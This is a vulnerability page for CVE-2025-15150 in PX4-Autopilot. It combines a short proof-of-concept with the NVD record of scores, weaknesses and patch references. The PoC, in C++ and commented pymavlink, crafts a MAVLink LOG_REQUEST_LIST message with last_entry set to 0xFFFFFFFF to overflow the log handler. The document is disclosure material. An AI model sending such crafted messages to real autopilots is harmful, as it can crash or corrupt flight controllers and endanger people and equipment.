CVE-2025-15150

// CVE-2025-15150 PoC - Mavlink Stack Buffer Overflow // This PoC demonstrates sending malicious Mavlink message to trigger overflow #include <cstdint> #include <cstring> // Mavlink message structure struct mavlink_message { uint16_t msgid; uint8_t payload[256]; }; // LOG_REQUEST_LIST message payload structure struct log_request_list_t { uint32_t target_system; // Target system ID uint32_t target_component; // Target component ID uint32_t first_entry; // First log entry to request uint32_t last_entry; // Last log entry to request }; void trigger_overflow() { mavlink_message msg; msg.msgid = 117; // MAVLINK_MSG_ID_LOG_REQUEST_LIST log_request_list_t *payload = (log_request_list_t *)msg.payload; payload->target_system = 1; payload->target_component = 1; payload->first_entry = 0; payload->last_entry = 0xFFFFFFFF; // Malicious: Large value to trigger overflow // Send this message to vulnerable MavlinkLogHandler // send_mavlink_message(msg); } // Alternative: Python PoC using pymavlink /* from pymavlink import mavutil connection = mavutil.mavlink_connection('udp://localhost:14540') # Craft malicious LOG_REQUEST_LIST message # This triggers buffer overflow in state_listing/log_entry_from_id msg = connection.mav.log_request_list_encode( target_system=1, target_component=1, first_entry=0, last_entry=0xFFFFFFFF # Overflow trigger ) connection.mav.send(msg) */

{"cve": {"id": "CVE-2025-15150", "sourceIdentifier": "[email protected]", "published": "2025-12-28T19:15:48.570", "lastModified": "2025-12-31T20:12:40.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in PX4 PX4-Autopilot up to 1.16.0. Affected by this issue is the function MavlinkLogHandler::state_listing/MavlinkLogHandler::log_entry_from_id of the file src/modules/mavlink/mavlink_log_handler.cpp. The manipulation results in stack-based buffer overflow. The attack is only possible with local access. The patch is identified as 338595edd1d235efd885fd5e9f45e7f9dcf4013d. It is best practice to apply a patch to resolve this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.16.0", "matchCriteriaId": "1401A3BC-D8DF-4DC0-A0C4-DF82BDB5E5C8"}]}]}], "references": [{"url": "https://github.com/PX4/PX4-Autopilot/issues/26118", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/PX4/PX4-Autopilot/pull/26124", "source": "[email protected]", "tags": ["Exploit", "Patch"]}, {"url": "https://github.com/PX4/PX4-Autopilot/pull/26124/commits/338595edd1d235efd885fd5e9f45e7f9dcf4013d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.338527", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338527", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.717323", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB E ... 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